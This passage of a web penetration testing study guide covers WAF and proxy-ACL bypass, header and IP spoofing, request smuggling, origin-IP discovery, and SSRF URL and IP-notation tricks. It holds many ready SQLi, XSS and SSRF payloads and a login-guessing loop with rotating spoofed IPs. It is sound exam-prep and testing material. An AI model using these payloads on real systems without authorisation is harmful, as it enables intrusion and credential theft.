# ASP/IIS-specific chain
sqlmap -u "https://target.com/item.aspx?id=1" --tamper=percentage,charunicodeencode,randomcase
# Filters that strip keywords once (str_replace style)
sqlmap -u "https://target.com/item?id=1" --tamper=nonrecursivereplacement,randomcase
# Quotes and equals blocked
sqlmap -u "https://target.com/item?id=1" --tamper=apostrophemask,equaltolike,between,greatest
# Stealth profile: slow, random UA, random XFF, no banner/fingerprint noise
sqlmap -u "https://target.com/item?id=1" \
  --tamper=space2comment,randomcase,xforwardedfor \
  --random-agent --delay=2 --timeout=30 --retries=2 --threads=1 \
  --skip-waf --no-cast --safe-url="https://target.com/" --safe-freq=3
# Route sqlmap through Burp so you can see exactly what the WAF blocked
sqlmap -u "https://target.com/item?id=1" --proxy=http://127.0.0.1:8080 -v3

6.11.2 Rate limiting, throttling and slow requests

# sqlmap
--delay=2            # seconds between requests
--threads=1          # serial
--safe-url=URL --safe-freq=5    # hit a benign URL every 5 requests to look human / keep the session alive
--random-agent       # rotate User-Agent per run
--time-sec=10        # longer time-based threshold on a slow/throttled path
# Burp Intruder -> Resource Pool -> "Maximum concurrent requests: 1"
#                              -> "Delay between requests: fixed 2000ms" (or "with random variation")
# Burp Intruder -> Settings -> "Throttle between requests"
# ffuf / feroxbuster
ffuf -u https://target.com/FUZZ -w list.txt -rate 5 -p 1-3      # 5 req/s, 1-3s random pause
feroxbuster -u https://target.com -w list.txt --rate-limit 5 --threads 1
# Manual pacing
for p in $(cat payloads.txt); do curl -s --get --data-urlencode "q=$p" https://target.com/search -o /dev/null -w "%{http_code} $p\n"; sleep $((RANDOM % 4 + 2)); done

6.11.3 IP rotation and source-IP header spoofing

Many WAFs, rate limiters and ACLs trust a client-supplied header to determine the "real" client IP — particularly when the WAF is behind another proxy. Spoofing it can reset your rate-limit bucket, bypass an IP allow-list, or reach an admin panel restricted to 127.0.0.1.

GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1;by=127.0.0.1;host=127.0.0.1
Via: 1.1 127.0.0.1
# XFF chain manipulation: some parsers take the FIRST entry, some the LAST
X-Forwarded-For: 127.0.0.1, 8.8.8.8
X-Forwarded-For: 8.8.8.8, 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 127.0.0.1, 127.0.0.1, 127.0.0.1
# Randomise XFF per request to defeat per-IP rate limiting
for i in $(seq 1 200); do
  ip="10.$((RANDOM%255)).$((RANDOM%255)).$((RANDOM%255))"
  curl -s -H "X-Forwarded-For: $ip" "https://target.com/login" -d "user=admin&pass=$(sed -n ${i}p wordlist.txt)" -o /dev/null -w "$ip %{http_code}\n"
done
# sqlmap has this built in
sqlmap -u "https://target.com/item?id=1" --tamper=xforwardedfor
# Real IP rotation (not spoofing) - genuinely different source addresses
# - Burp extension "IP Rotate" (AWS API Gateway, a new egress IP per request)
# - proxychains + a rotating SOCKS pool
proxychains4 -q curl -s https://target.com/
# - Tor with a new circuit per request
torsocks curl -s https://target.com/ ; echo -e 'AUTHENTICATE ""\nSIGNAL NEWNYM\nQUIT' | nc 127.0.0.1 9051
# Burp: Settings -> Sessions -> Session handling rules, or the "Add Custom Header" / "Hackvertor" extensions
# to inject a random X-Forwarded-For into every request automatically.

Also rotate fingerprint, not just IP: User-Agent, Accept-Language, Accept-Encoding, TLS JA3. A perfect IP rotation with User-Agent: sqlmap/1.7 fools nobody.

6.11.4 Unusual content types and body shapes

Covered mechanically in 6.8.4; as a WAF bypass the checklist is:

Content-Type: application/json
Content-Type: application/json; charset=utf-8
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Type: multipart/form-data; boundary=--------WEIRD
Content-Type: text/plain
Content-Type: application/xml
Content-Type: application/x-amf
Content-Type:  application/json          <- double space
Content-Type: APPLICATION/JSON           <- case
# Duplicate Content-Type: inspector reads one, app reads the other
POST /api HTTP/1.1
Content-Type: text/plain
Content-Type: application/json

{"q":"' OR 1=1-- -"}
# Charset confusion: some WAFs decode ibm037/EBCDIC differently (or not at all) from the app
POST /api HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=ibm037

<EBCDIC-encoded body>
# Oversized body: many WAFs stop inspecting after N KB (often 128 KB). Pad, then inject.
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded

pad=AAAA…[200 KB]…AAAA&q=' UNION SELECT 1,2,3-- -
# Chunked + padding + method override, stacked
POST /search HTTP/1.1
Transfer-Encoding: chunked
X-HTTP-Method-Override: GET

7;a=aaaa
q=1' O
9
R 1=1-- -
0

6.11.5 HTTP/2 and request smuggling (high level)

HTTP/2 downgrade bypasses. Most WAFs and CDNs speak HTTP/2 at the edge and rewrite the request to HTTP/1.1 for the origin. That rewrite is a translation, and translations lose information:

  • HTTP/2 uses binary framing with an explicit length, so Content-Length and Transfer-Encoding are advisory. A front end that copies an attacker-supplied content-length into the downgraded HTTP/1.1 request creates H2.CL desync; copying transfer-encoding: chunked creates H2.TE.
  • HTTP/2 header names and values may contain characters HTTP/1.1 forbids. Injecting \r\n into an HTTP/2 header value can split the downgraded request — HTTP/2 request splitting / header injection.
  • The pseudo-headers :method, :path, :authority, :scheme are rewritten into a request line and Host. A :path containing a space or a # can produce a different request line than the WAF evaluated.

Request smuggling (HTTP/1.1). Front end and back end disagree about where one request ends and the next begins, so bytes the front end treats as body the back end treats as a new request — which was therefore never inspected by the WAF.

VariantFront end usesBack end uses
CL.TEContent-LengthTransfer-Encoding
TE.CLTransfer-EncodingContent-Length
TE.TEBoth support TE; one is made to ignore it via an obfuscated header (Transfer-Encoding : chunked, Transfer-Encoding: xchunked, Transfer-Encoding:\tchunked, duplicated TE headers, Transfer-Encoding: chunked\r\nTransfer-Encoding: x)the other
CL.0Content-Lengthtreats the body as zero-length
# Detect with Burp: Extensions -> HTTP Request Smuggler -> "Smuggle probe" on a target.
# Manual timing probe for CL.TE (a hang indicates the back end is waiting for a chunk terminator):
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

Exam framing: know the names, the CL/TE mechanism, and that smuggling lets a request skip front-end security controls including the WAF. Do not attempt blind smuggling against shared infrastructure — it poisons other users' connections.

6.11.6 Origin-IP discovery behind a CDN/WAF

If the WAF is a cloud proxy (Cloudflare, Sucuri, Incapsula, Akamai), finding the origin server's real IP and talking to it directly removes the WAF completely. This is usually the highest-value move available.

TechniqueHow
Historic DNSThe A record before the CDN was adopted. SecurityTrails, ViewDNS, DNSdumpster, CompleteDNS
Certificate Transparencycrt.sh for subdomains; some resolve directly to the origin
Non-proxied subdomainsmail., ftp., cpanel., webmail., direct., origin., dev., staging., vpn. are frequently left un-proxied
MX / SPF / DMARC recordsMail often runs on the same host or the same network block
Shodan / Censys by favicon hashhttp.favicon.hash:<mmh3> or services.http.response.favicons.md5_hash
Shodan / Censys by HTML bodySearch a unique string from the page (http.html:"<unique title>")
Censys by certificateThe origin often serves the same TLS certificate
SSRF / XXE / error leakageMake the app tell you its own IP
Outbound callbackTrigger any feature that makes the server connect out (webhook, avatar-by-URL, PDF renderer) and read the source IP at your listener
Misconfigured .git/env/phpinfoMay contain the origin address
Automatedcloudflair, cf-check, censys-subdomain-finder, shodan search
# Historic + current DNS
dig +short target.com A
dig +short mail.target.com A ftp.target.com A cpanel.target.com A
dig +short target.com MX
dig +short TXT target.com | grep -i spf
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
# Favicon hash pivot (Shodan)
curl -s https://target.com/favicon.ico | base64 -w0 > /tmp/f.b64
python3 -c "import mmh3,base64;print(mmh3.hash(open('/tmp/f.b64').read()))"
# shodan search "http.favicon.hash:-XXXXXXXX"
# Verify a candidate origin: force the connection to the IP but keep the correct Host/SNI
curl -sv --resolve target.com:443:203.0.113.10 https://target.com/ -o /dev/null
curl -s -H 'Host: target.com' http://203.0.113.10/ | head -20
# Match: same page content, but NO CF-RAY / X-Sucuri-ID / X-CDN header -> the WAF is bypassed
# Then run everything against the origin directly
sqlmap -u "https://target.com/item?id=1" --headers="Host: target.com" --force-ssl --proxy=... 
# or add "203.0.113.10 target.com" to /etc/hosts and test normally

Report it: an origin reachable from the internet is a finding — the fix is to firewall the origin to the CDN's published IP ranges only.

6.11.7 Unicode normalization abuse

If any component applies NFKC/NFKD normalization after the filter, characters that are not < become < at exactly the wrong moment. Also relevant: case-mapping (Turkish dotless ı, Kelvin sign K → k) and IDN/Punycode in hostnames.

Target charNormalizing twin(s)Code points
<< fullwidthU+FF1C
>> fullwidthU+FF1E
'' fullwidth, ′ prime, ʼ modifier apostropheU+FF07, U+2032, U+02BC
"" fullwidth, “ ” smart quotesU+FF02, U+201C, U+201D
// fullwidth, ∕ division slashU+FF0F, U+2215
.. fullwidth, 。 ideographicU+FF0E, U+3002
( )( ) fullwidthU+FF08, U+FF09
-- fullwidth, ‐ hyphenU+FF0D, U+2010
a–za–z fullwidthU+FF41–U+FF5A
KK Kelvin sign → normalizes to kU+212A
iı dotless i → uppercases to I in Turkish localeU+0131
sſ long s → NFKC to s; ß → SS on uppercaseU+017F, U+00DF
# Fullwidth XSS - blacklisted <,> never appear; a downstream NFKC pass restores them
<script>alert(1)</script>
%EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9E
# Fullwidth SQLi quote (this is exactly what sqlmap's apostrophemask does)
%EF%BC%87 OR 1=1-- -
# Overlong UTF-8 for the same characters (see 6.3.6)
%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
# Unicode case-mapping abuse in identifiers/filters
ADMıN    (U+0131 dotless i) -> uppercases to ADMIN in a Turkish locale
ſcript   (U+017F long s)    -> NFKC -> script

Exam tips — 6.11

  • Try first, in this order: (1) hunt the origin IP — if you find it, everything else is unnecessary; (2) switch content type (urlencoded → json → multipart); (3) HPP/HPF to split the signature; (4) --tamper chain in sqlmap; (5) encoding tricks last.
  • Confirm a WAF bypass: the response must come from the application — an app error message, a real result set, a measurable time delay, an OOB callback — not a 200 with a block page. The tell is the response body and the WAF's own headers disappearing (no CF-RAY, no reference ID).
  • Anomaly-scoring WAFs (CRS) are beaten by splitting, not by encoding — CRS normalises most encodings before matching. Two half-payloads in two parameters each score below the threshold.
  • If you get blocked mid-run, you are probably rate-limited rather than signature-blocked. Drop to one thread, add a 2–3 s delay, rotate X-Forwarded-For and User-Agent, and retest one known-good payload.
  • Never run sqlmap at default speed against a WAF-protected target on an exam — you will be blocked and lose the host for the rest of your time window. --delay=2 --threads=1 --random-agent from the start.
  • Record which tamper chain worked; the same chain usually works on every endpoint of that target.

6.12 Proxy & Browser-Based Restriction Bypass

Lab reference: a Squid proxy that permits access to a backend web server only when the client's User-Agent says Firefox. Everything else gets Squid's ERR_ACCESS_DENIED page.

6.12.1 What Squid is and what it blocks

Squid is a widely deployed open-source proxy server and web cache daemon. It sits between clients and web servers, forwarding requests and responses, and is deployed to improve performance, enforce policy and manage internet access.

Squid featureWhat it doesTesting consequence
CachingServes frequently requested objects from a local cache instead of fetching from originCache poisoning/deception surface; stale-content disclosure
Access control (ACLs)Rules controlling which clients may reach which sites, paths, ports, methods — the lab's focusThe thing you bypass
Content filteringBlocks sites or categories; can block whole URLs or specific resources (e.g. an admin panel)Acts as a crude WAF
AuthenticationProxy-level auth (Proxy-Authorization)Credential surface
Loggingaccess.log records every requestYour requests are recorded

Squid ACLs match on: source IP (src), destination (dst, dstdomain, dstdom_regex), port, protocol, HTTP method, URL path (urlpath_regex, url_regex), request headers via req_header (the lab's User-Agent rule), and browser (a regex over User-Agent). Everything in that list except source IP is attacker-controlled, which is exactly why header-based ACLs fail.

6.12.2 The lab walkthrough

# 1. Establish where you are. The lab host is always .2 in the subnet; the Squid proxy is .3
ifconfig eth1                                   # note the subnet, e.g. 10.0.0.2
nmap 10.0.0.2                                   # nothing listening locally
nmap 10.0.0.3                                   # 3128/tcp open  http-proxy  Squid http proxy
# 2. Request the protected site THROUGH the proxy - blocked
curl -x http://10.0.0.3:3128 http://127.0.0.1:80/
# -> "The following error was encountered while trying to retrieve the URL ... Access Denied.
#     Access control configuration prevents your request from being allowed at this time."
# 3. The ACL keys on User-Agent. Spoof it.
curl -x http://10.0.0.3:3128 -H "User-Agent: Firefox" http://127.0.0.1:80/
# -> "Congratulations, you have successfully completed the challenge"
# Equivalent forms
curl --proxy 10.0.0.3:3128 -A "Firefox" http://127.0.0.1/
curl -x 10.0.0.3:3128 -A "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0" http://127.0.0.1/

curl -x/--proxy sets the proxy; -H/-A sets the header. That is the entire bypass: a proxy ACL that trusts a client-supplied header is trusting the attacker.

6.12.3 General forward/reverse-proxy ACL bypass techniques

ACL keys onBypass
User-Agent (browser, req_header User-Agent)Spoof it — -A, -H, Burp Match&Replace
Any other request header (Referer, Accept, Cookie)Spoof it identically
dstdomain exact matchTrailing dot example.com., case ExAmPle.COM, IDN/punycode, www. prefix/absence, an alternate CNAME, or the raw IP
dstdomain via the Host headerSend a different Host than the connection target (6.12.4)
Destination IP (dst)Use a hostname that resolves to it, or an IP in another notation (6.12.5)
Port (Safe_ports, SSL_ports)Non-standard port on the origin; or CONNECT on an allowed port
Method (acl … method GET POST)HEAD, PUT, OPTIONS, PROPFIND, or CONNECT tunnelling
urlpath_regex (e.g. blocks /admin)Case, URL encoding %61dmin, double encoding %2561dmin, //admin, /./admin, /x/../admin, /admin;/, /admin%20, /admin., /ADMIN/
Scheme (http only)Try https, or CONNECT host:443 to tunnel arbitrary TCP
Absolute-URI handlingSquid expects GET http://host/path HTTP/1.1; sending an origin-form request line with a spoofed Host can route differently
Time-based ACLsRequest outside the restricted window
Source IP allow-listSpoof forwarding headers (6.11.3) if a downstream component trusts them
# CONNECT tunnelling - if CONNECT is permitted, the proxy becomes a generic TCP relay
curl -x http://10.0.0.3:3128 -p https://blocked.example.com/     # -p forces CONNECT
proxytunnel -p 10.0.0.3:3128 -d blocked.example.com:443 -a 8443  # then talk to localhost:8443
# Path-ACL evasion against a urlpath_regex blocking /admin
curl -x http://10.0.0.3:3128 'http://target/ADMIN/'
curl -x http://10.0.0.3:3128 'http://target/%61dmin/'
curl -x http://10.0.0.3:3128 'http://target//admin/'
curl -x http://10.0.0.3:3128 'http://target/./admin/'
curl -x http://10.0.0.3:3128 'http://target/x/../admin/'
curl -x http://10.0.0.3:3128 'http://target/admin;/'
curl -x http://10.0.0.3:3128 'http://target/admin%2f'
# Method switch
curl -x http://10.0.0.3:3128 -X HEAD http://target/admin/
curl -x http://10.0.0.3:3128 -X OPTIONS http://target/admin/
# Burp: Proxy -> Match and Replace -> add a rule
#   Type: Request header | Match: ^User-Agent:.*$ | Replace: User-Agent: Firefox | Regex: yes
# This applies the bypass to every request automatically for the rest of the engagement.

6.12.4 Host header manipulation

The Host header decides which virtual host / backend serves the request, while the TCP connection decides which machine you reach. Splitting those two is the bypass.

# Reach an internal-only vhost through a proxy that routes on Host
GET / HTTP/1.1
Host: internal-admin.local
# Absolute URI in the request line vs a different Host header - parsers disagree about which wins
GET http://allowed.example.com/ HTTP/1.1
Host: blocked.example.com
# Duplicate Host headers - proxy reads the first, origin reads the second (or vice versa)
GET / HTTP/1.1
Host: allowed.example.com
Host: internal.local
# Host with a port, or with padding, to dodge exact-match ACLs
Host: target.com:80
Host: target.com.
Host: TARGET.COM
Host: target.com%00.allowed.com
Host:  target.com
# Indirect host override headers, honoured by many frameworks and reverse proxies
X-Forwarded-Host: internal-admin.local
X-Host: internal-admin.local
X-Forwarded-Server: internal-admin.local
X-HTTP-Host-Override: internal-admin.local
Forwarded: host=internal-admin.local
# Force the connection to one IP while sending a different Host / SNI
curl -s --resolve target.com:443:203.0.113.10 https://target.com/
curl -s -H 'Host: internal-admin.local' http://203.0.113.10/

6.12.5 IP encoding tricks

An ACL or SSRF filter comparing the literal string 127.0.0.1 or 169.254.169.254 misses every alternative notation. Use these against proxy ACLs, SSRF allow/deny lists and URL blacklists.

Notation127.0.0.1169.254.169.254 (cloud metadata)
Dotted decimal127.0.0.1169.254.169.254
Decimal (dword)21307064332852039166
Octal0177.0.0.1 / 0177.0.0.010251.0376.0251.0376
Octal, padded0177.00000.00000.00001—
Hex0x7f0000010xa9fea9fe
Hex, dotted0x7f.0x0.0x0.0x10xa9.0xfe.0xa9.0xfe
Mixed0x7f.0.0.1 / 127.0x0.0.1 / 0177.0.0x0.10251.254.0xa9.254
Short form127.1 / 127.0.1—
IPv6 loopback[::1]—
IPv4-mapped IPv6[::ffff:127.0.0.1] / [::ffff:7f00:1][::ffff:169.254.169.254] / [::ffff:a9fe:a9fe]
IPv6 compressed[0:0:0:0:0:0:0:1] / [0000::1]—
NAT64 / well-known prefix[64:ff9b::7f00:1][64:ff9b::a9fe:a9fe]
DNS that resolves to itlocalhost, localtest.me, 127.0.0.1.nip.io, spoofed.burpcollaborator.netmetadata.google.internal, 169.254.169.254.nip.io
Trailing dotlocalhost.—
Enclosed alphanumericsⓛocalhost (normalization-dependent)—
# Verify a notation before relying on it - all of these reach the same host
curl -s http://2130706433/                 # decimal
curl -s http://0x7f000001/                 # hex
curl -s http://0177.0.0.1/                 # octal
curl -s http://127.1/                       # short form
curl -s 'http://[::ffff:127.0.0.1]/'        # IPv4-mapped IPv6
# Convert any IP to the alternative forms
python3 -c "import ipaddress,sys;i=int(ipaddress.IPv4Address(sys.argv[1]));print('dec',i);print('hex',hex(i));print('oct','.'.join('0%o'%int(o) for o in sys.argv[1].split('.')))" 169.254.169.254

6.12.6 URL parser confusion

Different components parse the same URL differently. The @, #, \, ? and ; characters are where they disagree — a proxy/SSRF filter reads one host, the fetching library reads another.

TrickExampleFilter sees / fetcher sees
Userinfo @http://allowed.com@evil.com/allowed.com / evil.com (everything before @ is credentials)
Double @http://allowed.com@evil.com@real.com/Parsers split at the first or last @ — differs by library
Fragment #http://evil.com#allowed.com/allowed.com (naive substring) / evil.com
# + @ combinedhttp://allowed.com#@evil.com/Varies
Backslash \http://allowed.com\@evil.com/ , http://evil.com\.allowed.com/Browsers/WHATWG treat \ as /; RFC 3986 parsers do not
Question markhttp://evil.com?.allowed.com/allowed.com in the "query" / host is evil.com
Path confusionhttp://evil.com/allowed.comSubstring match on allowed.com passes
Path parameters ;/admin;foo=bar , /api;/adminServlet containers strip ;…; the proxy does not
..;//public/..;/admin/Tomcat/Jetty normalise ..; to .. after the proxy's ACL check → traversal past the ACL
Encoded traversal/public/..%2fadmin , /public/%2e%2e%2fadmin , /public/..%252fadminDecoded at different stages
Leading slashes//evil.com/ , ///evil.com/ , http:/\evil.com/Scheme-relative URLs; the filter may see a path
Whitespace/controlhttp://evil.com%09.allowed.com/ , http://evil.com%0d%0a.allowed.com/Parsers strip/split differently
Trailing dothttp://allowed.com./DNS-equivalent, string-inequivalent
Casehttp://ALLOWED.com/String-inequivalent, DNS-equivalent
IDN/punycodehttp://аllowed.com/ (Cyrillic а) → xn--llowed-2we.comHomograph; may normalise to the ASCII form downstream
Unicode dothttp://evil。com/ (U+3002)NFKC-normalises to . in some fetchers
# Open-redirect / SSRF filter bypass set - feed these to any url=/next=/redirect= parameter
http://allowed.com@evil.com/
https://evil.com#allowed.com
https://allowed.com\@evil.com/
https://evil.com?allowed.com
//evil.com
/\/evil.com
https://allowed.com.evil.com/
https://evil.com%00.allowed.com
# ACL path traversal past a proxy that blocks /admin (Tomcat/Jetty)
GET /public/..;/admin/ HTTP/1.1
GET /public/..%2fadmin/ HTTP/1.1
GET /;/admin/ HTTP/1.1
GET /admin..;/ HTTP/1.1

6.12.7 DNS rebinding (high level)

A filter that resolves a hostname, approves the resulting IP, and then lets the HTTP client resolve again is vulnerable to a time-of-check / time-of-use race:

  1. Attacker controls rebind.attacker.com with a TTL of 0.
  2. First resolution returns a benign public IP → the allow-list check passes.
  3. The application then makes the actual request; the cached record has already expired, so it resolves again.
  4. The second resolution returns 127.0.0.1 (or 169.254.169.254, or an internal RFC1918 address) → the request hits an internal service, having been approved against the public IP.

Variants: multiple A records (round-robin between a public and a private IP so one of the two attempts lands internally), and CNAME chains to internal names.

Services that automate it: rebind.it, 1u.ms, rbndr.us, nip.io/sslip.io (static mapping, not true rebinding), and Burp Collaborator for the callback side.

# Static DNS-to-IP services - enough to bypass "must be a hostname, not an IP" checks
127.0.0.1.nip.io          -> 127.0.0.1
169.254.169.254.nip.io    -> 169.254.169.254
10.0.0.1.sslip.io         -> 10.0.0.1
make-127-0-0-1-rr.1u.ms   -> 127.0.0.1

Defence, and therefore what you report: resolve once, validate the resolved IP against a deny-list of private/link-local ranges, and connect to that IP — not to the hostname again.

Exam tips — 6.12

  • Try first: identify the proxy from Via:, X-Cache:, X-Squid-Error or the branded error page, then read the denial message — Squid's "Access control configuration prevents your request" names ACLs specifically, which tells you it is a policy rule and not an app error.
  • Figure out what the ACL keys on by changing exactly one thing per request: User-Agent, then Host, then method, then path case, then the destination notation. One variable at a time, or you will not know what worked.
  • Confirm the bypass: you get the application's content instead of the proxy's error page. Squid's error page is unmistakable — a plain page headed with the URL it tried to retrieve and an "Access Denied" body.
  • A proxy ACL built on any client-supplied header (User-Agent, Referer, X-Forwarded-For) is a finding in itself: "access control based on spoofable client-supplied data."
  • curl -x host:port + -H/-A is the whole toolkit for proxy work. Use Burp's Match and Replace to make a successful header spoof permanent across the whole session.
  • For SSRF-flavoured questions, run the IP-notation table and the URL-parser table in order — one of 2130706433, 0177.0.0.1, [::ffff:127.0.0.1], 127.0.0.1.nip.io or http://allowed@127.0.0.1/ almost always lands.

7. Server-Side Attacks

Everything in this section lives in the web server tier and the application server tier — the part of the stack the browser never sees. The unifying idea is implicit trust: the application server is allowed to talk to things the client is not (metadata services, internal APIs, caches, admin consoles), and it is willing to rebuild objects out of bytes the client controls. SSRF abuses the first trust, insecure deserialization abuses the second.

Universal rule for this section: you are not testing the page in front of you — you are testing what sits behind it. Map the tiers first, then ask "what can this server reach or instantiate that the client cannot?"


7.1 Modern Web Application Architecture

7.1.1 Why this matters before you touch a payload

What a browser shows is the output of one tier out of five or six. Every additional component is another network position the application server can reach on the client's behalf, another parser, another trust boundary that was never designed to be crossed from outside. The entire premise of server-side attacks is that the application server has a network view and a privilege level the client does not have.

Practical consequences for the exam:

  • The IP behind the domain is usually a CDN, reverse proxy or load balancer, not the app. Directory traversal and request smuggling belong to that box; SSRF and deserialization belong to the box behind it.
  • Internal services are usually unauthenticated precisely because they are "internal" (Redis, Memcached, Elasticsearch, Actuator, Consul, Docker API, Jenkins CLI). Reaching them at all is usually equivalent to controlling them.
  • Containers and cloud add a link-local metadata IP (169.254.169.254) and a container credential link (169.254.170.2) that serve credentials to any process inside the instance.

7.1.2 The layered (n-tier) model — the map to hold in your head

TierAlso calledTypical componentsNative vulnerability classes
Presentation / clientclient side, front endBrowser, SPA, mobile appXSS, DOM issues, insecure client storage, CSRF
Edge / intermediaryCDN, WAF, reverse proxy, LBCloudflare, Akamai, nginx, HAProxy, ALBCache poisoning/deception, request smuggling, header-trust bypass, Host-header injection
Web serverweb tierApache, nginx, IISDirectory traversal, HTTP response splitting, weak TLS config, file inclusion, path confusion
Application serverbusiness logic, back endTomcat, JBoss/WildFly, WebLogic, WebSphere, uWSGI/Gunicorn (Django/Flask), Node.js, Spring Boot, PHP-FPM, .NETSSRF, insecure deserialization, command injection, broken access control, SSTI, file upload
Internal servicesmiddlewareAuth service, mail/notification, message queue (RabbitMQ/Kafka), cache (Redis/Memcached), search (Elasticsearch/Solr)API key mismanagement, queue injection, unauthenticated admin interfaces
APIAPI tierREST, GraphQL, gRPCBOLA/BFLA, mass assignment, excessive data exposure, no rate limiting
Datadata access tierMySQL, PostgreSQL, MSSQL, Oracle, MongoDBSQLi, NoSQLi (reached through the tiers above)

Layers communicate hierarchically. An attack is "server-side" when the flaw is native to the web/app tier, even if the payoff lands in the database or the API tier. SQLi is a data-tier attack routed through the app tier; SSRF is an app-tier attack that may end up at the data tier.

This distinction is examinable. INE's framing: SSRF and insecure deserialization are native application-server-layer vulnerabilities; SQLi/NoSQLi are data-layer; XSS is presentation-layer; directory traversal and response splitting are web-server-layer.

7.1.3 Architecture models you will meet

ModelShapeConsequence for testing
Layered / n-tierDistinct presentation / logic / data layersDefault mental model; everything maps onto it
MonolithWeb server + app + DB on one hostLoopback SSRF is very productive — DB, admin, everything is on localhost
MicroservicesSmall independent services, own datastores, REST/gRPC between themLarge internal east-west surface; service-to-service calls often unauthenticated; SSRF becomes a mesh pivot
SOA / ESBReusable services on an enterprise service busEnterprise Java → deserialization over RMI/JMS/T3
Event-drivenAsync, queues, webhooksWebhooks are a standing SSRF surface; queue injection
ServerlessCloud functionsEnv-var credentials; metadata endpoints; short-lived but powerful roles
DistributedSpread across nodesInternal name resolution worth enumerating (http://payments/, http://redis:6379)

Tell-tale of microservices during testing: one feature 500s or hangs while the rest of the app works perfectly. That is a single dead service behind a gateway, not a broken app — and it reveals the internal service names.

7.1.4 Web server vs application server (the distinction decides your attack class)

Web serverApplication server
RoleServe static content, route requestsExecute business logic, build dynamic responses
Interacts withClientsDatabases, APIs, internal services, filesystem
ProcessingLightweight (files, TLS, proxying)Heavy (queries, sessions, object graphs)
OutputHTML/CSS/JS/imagesJSON/XML/HTML computed at runtime
ExamplesApache, nginx, IISTomcat, JBoss, WebLogic, Spring Boot, Django+uWSGI, Node.js, PHP-FPM, .NET

In production, Django/Flask/Node sit behind nginx or Apache acting as reverse proxy. That reverse proxy is why header-trust bypasses (X-Forwarded-For, X-Original-URL) often work, and why the app server can be listening on a separate high port (5000, 8000, 8080) that a full port scan will reveal.

7.1.5 Reverse proxies, load balancers and CDNs

They obscure the origin IP, terminate TLS, cache, and add headers the backend trusts. Recognition:

# Is a proxy/CDN in front? Response headers name it.
curl -sSI https://target.tld | grep -iE 'server|via|x-cache|cf-ray|x-amz|x-served-by|x-proxy'
# Reading the result
Server: cloudflare / CF-Ray:      -> Cloudflare edge; origin IP hidden
X-Amz-Cf-Id / Via: CloudFront     -> AWS CloudFront; origin likely ALB -> EC2/ECS
X-Served-By / X-Cache: Fastly     -> Fastly
Via: 1.1 varnish                  -> Varnish cache in path (cache poisoning surface)
Server: nginx + X-Powered-By: PHP -> nginx reverse-proxying PHP-FPM

Because the edge rewrites and appends headers, the backend frequently trusts values such as X-Forwarded-For, X-Real-IP, X-Original-URL and X-Forwarded-Host. Where an "internal only" or "localhost only" restriction exists at the app tier, that restriction is often implemented by reading one of these headers — which arrive from the client. Testing whether the app's access decision changes when those headers are supplied is a standard part of the methodology, and it is the same trust flaw that SSRF exploits, just expressed in a header instead of a URL.

7.1.6 Containers, orchestration and internal DNS

Microservices are containers. Containers mean:

  • Service names resolve on an internal network: http://auth, http://payments.default.svc.cluster.local, http://redis:6379, http://db:3306.
  • The Docker daemon may be exposed on 2375/tcp (plaintext) or 2376/tcp (TLS).
  • Kubernetes mounts /var/run/secrets/kubernetes.io/serviceaccount/token into every pod — any file-read primitive is a cluster-credential disclosure.
  • Docker's embedded DNS resolver lives at 127.0.0.11:53 inside containers; seeing it in a /proc/net/tcp dump confirms you are inside a Docker network.
# Internal names worth enumerating through any SSRF, roughly by hit rate
localhost  127.0.0.1  0.0.0.0  host.docker.internal
redis  memcached  mysql  postgres  db  database
api  auth  users  payments  backend  internal
elasticsearch  kibana  rabbitmq  consul  vault  jenkins
kubernetes.default.svc  metadata.google.internal

7.1.7 Cloud metadata and internal-only services

Every major cloud exposes an unauthenticated, link-local HTTP endpoint reachable only from inside the instance, serving instance identity and, critically, temporary IAM credentials. This is the highest-impact SSRF target class in modern environments and the reason cloud providers introduced session-token-based metadata (IMDSv2). Endpoint paths and header requirements are in §7.2.7.

Internal services that ship unauthenticated by default, and are therefore high-severity findings if reachable:

ServicePortWhy it matters
Redis6379Config-writable → arbitrary file write → code execution
Memcached11211Cache/session poisoning; stored serialized objects
Elasticsearch9200Full index dump; scripting RCE in old versions
Spring Boot Actuator8080/8081 /actuator/env, /heapdump leak credentials; gateway SpEL RCE
Jenkins8080 + high CLI portGroovy script console = code execution
Consul8500Service registration with script checks = code execution
Docker API2375/2376Container creation with host mount = host compromise
Kubelet10250Pod exec endpoints
etcd2379Cluster secrets
MongoDB27017Unauthenticated data access
RabbitMQ mgmt15672Default guest/guest
Solr8983Config API RCE
MySQL / PostgreSQL3306 / 5432Reachable via protocol smuggling

7.1.8 Fingerprinting the architecture from outside

# Service/version sweep - reveals the app-server port, extra HTTP ports, and CLI ports
nmap -sS -sV -p- --min-rate 2000 -oN nmap-full.txt demo.ine.local
# Technology fingerprint of the app tier
whatweb -a 3 https://target.tld
# Cookie names identify the application server tier immediately
PHPSESSID                 -> PHP
JSESSIONID                -> Java (Tomcat / JBoss / WebLogic / WebSphere)
ASP.NET_SessionId, __VIEWSTATE -> .NET
connect.sid               -> Node.js / Express
sessionid + csrftoken     -> Django
_session_id               -> Ruby on Rails
laravel_session           -> Laravel (PHP)
# Default management/diagnostic paths that reveal the app server and internal services
for p in /manager/html /jmx-console /console /actuator /actuator/env /server-status \
         /solr/ /_cat/indices /swagger-ui.html /graphql /v1/agent/self /api/v1/namespaces; do
  printf '%-28s -> ' "$p"
  curl -sS -o /dev/null -w '%{http_code}\n' "https://target.tld$p"
done

